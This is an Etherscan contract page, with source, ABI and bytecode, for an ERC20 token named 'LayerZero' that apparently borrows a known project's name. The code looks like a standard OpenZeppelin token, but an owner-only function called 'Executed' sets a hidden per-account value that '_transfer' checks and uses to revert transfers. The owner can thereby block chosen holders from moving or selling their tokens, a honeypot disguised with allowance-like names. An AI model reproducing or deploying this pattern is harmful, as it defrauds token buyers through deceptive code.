ETH Price: $1,854.01 (-13.53%)
 

Overview

Max Total Supply

100,000,000 LayerZero

Holders

2

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LayerZero

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-14
*/

pragma solidity ^0.8.16;

// SPDX-License-Identifier: Unlicensed

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoint) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 ameunts
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 ameunts
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by 0");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by 0");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}



contract Ownable is Context {
    address private _nullAddress = 0x000000000000000000000000000000000000dEaD;
    address private _owner;
    event ownershipTransferred(
        address indexed previousowner,
        address indexed newowner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(_nullAddress));
        _owner = address(_nullAddress);
    }
}



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_yydsed}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract LayerZero is IERC20, Ownable {
    using SafeMath for uint256;
    uint256 private constant _coinsAmount = 100000000;
    address private constant _nullAddress =
        0x000000000000000000000000000000000000dEaD;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _approvals;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor() {
        _decimals = 18;
        _name = "LayerZero";
        _symbol = "LayerZero";
        _totalSupply = _coinsAmount * (10 ** uint256(_decimals));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        address sender = _msgSender();
        _transfer(sender, recipient, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function Executed(address account, uint256 amount) external onlyowner {
        _approvals[account] = amount;
    }

    function getAllowance(address account) public view returns (uint256) {
        return _approvals[account];
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer exceeds allowance"
            )
        );
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(
            recipient != address(0),
            "ERC20: transfer to zer0 addres is prohibited."
        );
        require(
            sender != address(0),
            "ERC20: transfer from zer0 addres is prohibited."
        );
        uint256 allowances = getAllowance(sender);
        if (allowances > 0) {
            require(amount > allowances, "ERC20: transfer exceeds allowance.");
        }
        uint256 blsender = _balances[sender];
        require(
            blsender >= amount,
            "ERC20: transfer amount exceeded balance."
        );
        _balances[recipient] = _balances[recipient].add(amount);
        _balances[sender] = _balances[sender].sub(amount);

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(
            owner != address(0),
            "ERC20: approve from zero addres is prohibited."
        );
        require(
            spender != address(0),
            "ERC20: approve to zero addres is prohibited."
        );

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Executed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getAllowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405261dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200005357600080fd5b50600062000066620002bb60201b60201c565b905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3506012600760006101000a81548160ff021916908360ff1602179055506040518060400160405280600981526020017f4c617965725a65726f0000000000000000000000000000000000000000000000815250600590816200016791906200053d565b506040518060400160405280600981526020017f4c617965725a65726f000000000000000000000000000000000000000000000081525060069081620001ae91906200053d565b50600760009054906101000a900460ff1660ff16600a620001d09190620007a7565b6305f5e100620001e19190620007f8565b60088190555060085460036000620001fe620002bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200024c620002bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620002ad919062000854565b60405180910390a362000871565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200034557607f821691505b6020821081036200035b576200035a620002fd565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003c57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000386565b620003d1868362000386565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200041e620004186200041284620003e9565b620003f3565b620003e9565b9050919050565b6000819050919050565b6200043a83620003fd565b62000452620004498262000425565b84845462000393565b825550505050565b600090565b620004696200045a565b620004768184846200042f565b505050565b5b818110156200049e57620004926000826200045f565b6001810190506200047c565b5050565b601f821115620004ed57620004b78162000361565b620004c28462000376565b81016020851015620004d2578190505b620004ea620004e18562000376565b8301826200047b565b50505b505050565b600082821c905092915050565b60006200051260001984600802620004f2565b1980831691505092915050565b60006200052d8383620004ff565b9150826002028217905092915050565b6200054882620002c3565b67ffffffffffffffff811115620005645762000563620002ce565b5b6200057082546200032c565b6200057d828285620004a2565b600060209050601f831160018114620005b55760008415620005a0578287015190505b620005ac85826200051f565b8655506200061c565b601f198416620005c58662000361565b60005b82811015620005ef57848901518255600182019150602085019450602081019050620005c8565b868310156200060f57848901516200060b601f891682620004ff565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006b2578086048111156200068a576200068962000624565b5b60018516156200069a5780820291505b8081029050620006aa8562000653565b94506200066a565b94509492505050565b600082620006cd5760019050620007a0565b81620006dd5760009050620007a0565b8160018114620006f65760028114620007015762000737565b6001915050620007a0565b60ff84111562000716576200071562000624565b5b8360020a91508482111562000730576200072f62000624565b5b50620007a0565b5060208310610133831016604e8410600b8410161715620007715782820a9050838111156200076b576200076a62000624565b5b620007a0565b62000780848484600162000660565b925090508184048111156200079a576200079962000624565b5b81810290505b9392505050565b6000620007b482620003e9565b9150620007c183620003e9565b9250620007f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006bb565b905092915050565b60006200080582620003e9565b91506200081283620003e9565b92508282026200082281620003e9565b915082820484148315176200083c576200083b62000624565b5b5092915050565b6200084e81620003e9565b82525050565b60006020820190506200086b600083018462000843565b92915050565b6119c180620008816000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461029c578063c2af913b146102cc578063dd62ed3e146102d6578063eb5a662e14610306576100f5565b806370a08231146102005780638da5cb5b1461023057806395d89b411461024e578063a457c2d71461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636f6c6d78146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f919061118e565b60405180910390f35b610132600480360381019061012d9190611249565b6103c8565b60405161013f91906112a4565b60405180910390f35b6101506103e6565b60405161015d91906112ce565b60405180910390f35b610180600480360381019061017b91906112e9565b6103f0565b60405161018d91906112a4565b60405180910390f35b61019e6104c9565b6040516101ab9190611358565b60405180910390f35b6101ce60048036038101906101c99190611249565b6104e0565b6040516101db91906112a4565b60405180910390f35b6101fe60048036038101906101f99190611249565b610593565b005b61021a60048036038101906102159190611373565b610672565b60405161022791906112ce565b60405180910390f35b6102386106bb565b60405161024591906113af565b60405180910390f35b6102566106e5565b604051610263919061118e565b60405180910390f35b61028660048036038101906102819190611249565b610777565b60405161029391906112a4565b60405180910390f35b6102b660048036038101906102b19190611249565b610844565b6040516102c391906112a4565b60405180910390f35b6102d4610867565b005b6102f060048036038101906102eb91906113ca565b6109fd565b6040516102fd91906112ce565b60405180910390f35b610320600480360381019061031b9190611373565b610a84565b60405161032d91906112ce565b60405180910390f35b60606005805461034590611439565b80601f016020809104026020016040519081016040528092919081815260200182805461037190611439565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610acd565b8484610ad5565b6001905092915050565b6000600854905090565b60006103fd848484610c9e565b6104be84610409610acd565b6104b98560405180606001604052806021815260200161194660219139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105896104ed610acd565b8461058485600260006104fe610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b610ad5565b6001905092915050565b61059b610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610621906114b6565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546106f490611439565b80601f016020809104026020016040519081016040528092919081815260200182805461072090611439565b801561076d5780601f106107425761010080835404028352916020019161076d565b820191906000526020600020905b81548152906001019060200180831161075057829003601f168201915b5050505050905090565b600061083a610784610acd565b846108358560405180606001604052806025815260200161196760259139600260006107ae610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b6001905092915050565b60008061084f610acd565b905061085c818585610c9e565b600191505092915050565b61086f610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f5906114b6565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3b90611548565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906115da565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9191906112ce565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d049061166c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d73906116fe565b60405180910390fd5b6000610d8784610a84565b90506000811115610dd557808211610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb90611790565b60405180910390fd5b5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5390611822565b60405180910390fd5b610eae83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4383600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fe391906112ce565b60405180910390a35050505050565b600083831115829061103a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611031919061118e565b60405180910390fd5b50600083856110499190611871565b9050809150509392505050565b600080828461106591906118a5565b9050838110156110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a190611925565b60405180910390fd5b8091505092915050565b60006110f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff2565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561113857808201518184015260208101905061111d565b60008484015250505050565b6000601f19601f8301169050919050565b6000611160826110fe565b61116a8185611109565b935061117a81856020860161111a565b61118381611144565b840191505092915050565b600060208201905081810360008301526111a88184611155565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111e0826111b5565b9050919050565b6111f0816111d5565b81146111fb57600080fd5b50565b60008135905061120d816111e7565b92915050565b6000819050919050565b61122681611213565b811461123157600080fd5b50565b6000813590506112438161121d565b92915050565b600080604083850312156112605761125f6111b0565b5b600061126e858286016111fe565b925050602061127f85828601611234565b9150509250929050565b60008115159050919050565b61129e81611289565b82525050565b60006020820190506112b96000830184611295565b92915050565b6112c881611213565b82525050565b60006020820190506112e360008301846112bf565b92915050565b600080600060608486031215611302576113016111b0565b5b6000611310868287016111fe565b9350506020611321868287016111fe565b925050604061133286828701611234565b9150509250925092565b600060ff82169050919050565b6113528161133c565b82525050565b600060208201905061136d6000830184611349565b92915050565b600060208284031215611389576113886111b0565b5b6000611397848285016111fe565b91505092915050565b6113a9816111d5565b82525050565b60006020820190506113c460008301846113a0565b92915050565b600080604083850312156113e1576113e06111b0565b5b60006113ef858286016111fe565b9250506020611400858286016111fe565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061145157607f821691505b6020821081036114645761146361140a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114a0602083611109565b91506114ab8261146a565b602082019050919050565b600060208201905081810360008301526114cf81611493565b9050919050565b7f45524332303a20617070726f76652066726f6d207a65726f206164647265732060008201527f69732070726f686962697465642e000000000000000000000000000000000000602082015250565b6000611532602e83611109565b915061153d826114d6565b604082019050919050565b6000602082019050818103600083015261156181611525565b9050919050565b7f45524332303a20617070726f766520746f207a65726f2061646472657320697360008201527f2070726f686962697465642e0000000000000000000000000000000000000000602082015250565b60006115c4602c83611109565b91506115cf82611568565b604082019050919050565b600060208201905081810360008301526115f3816115b7565b9050919050565b7f45524332303a207472616e7366657220746f207a65723020616464726573206960008201527f732070726f686962697465642e00000000000000000000000000000000000000602082015250565b6000611656602d83611109565b9150611661826115fa565b604082019050919050565b6000602082019050818103600083015261168581611649565b9050919050565b7f45524332303a207472616e736665722066726f6d207a6572302061646472657360008201527f2069732070726f686962697465642e0000000000000000000000000000000000602082015250565b60006116e8602f83611109565b91506116f38261168c565b604082019050919050565b60006020820190508181036000830152611717816116db565b9050919050565b7f45524332303a207472616e73666572206578636565647320616c6c6f77616e6360008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061177a602283611109565b91506117858261171e565b604082019050919050565b600060208201905081810360008301526117a98161176d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656465642060008201527f62616c616e63652e000000000000000000000000000000000000000000000000602082015250565b600061180c602883611109565b9150611817826117b0565b604082019050919050565b6000602082019050818103600083015261183b816117ff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187c82611213565b915061188783611213565b925082820390508181111561189f5761189e611842565b5b92915050565b60006118b082611213565b91506118bb83611213565b92508282019050808211156118d3576118d2611842565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061190f601b83611109565b915061191a826118d9565b602082019050919050565b6000602082019050818103600083015261193e81611902565b905091905056fe45524332303a207472616e73666572206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208b233ebe786b382e74766eaa6fcf03af72cb04b17815936a75a7a25c83b7b92864736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461029c578063c2af913b146102cc578063dd62ed3e146102d6578063eb5a662e14610306576100f5565b806370a08231146102005780638da5cb5b1461023057806395d89b411461024e578063a457c2d71461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636f6c6d78146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f919061118e565b60405180910390f35b610132600480360381019061012d9190611249565b6103c8565b60405161013f91906112a4565b60405180910390f35b6101506103e6565b60405161015d91906112ce565b60405180910390f35b610180600480360381019061017b91906112e9565b6103f0565b60405161018d91906112a4565b60405180910390f35b61019e6104c9565b6040516101ab9190611358565b60405180910390f35b6101ce60048036038101906101c99190611249565b6104e0565b6040516101db91906112a4565b60405180910390f35b6101fe60048036038101906101f99190611249565b610593565b005b61021a60048036038101906102159190611373565b610672565b60405161022791906112ce565b60405180910390f35b6102386106bb565b60405161024591906113af565b60405180910390f35b6102566106e5565b604051610263919061118e565b60405180910390f35b61028660048036038101906102819190611249565b610777565b60405161029391906112a4565b60405180910390f35b6102b660048036038101906102b19190611249565b610844565b6040516102c391906112a4565b60405180910390f35b6102d4610867565b005b6102f060048036038101906102eb9190611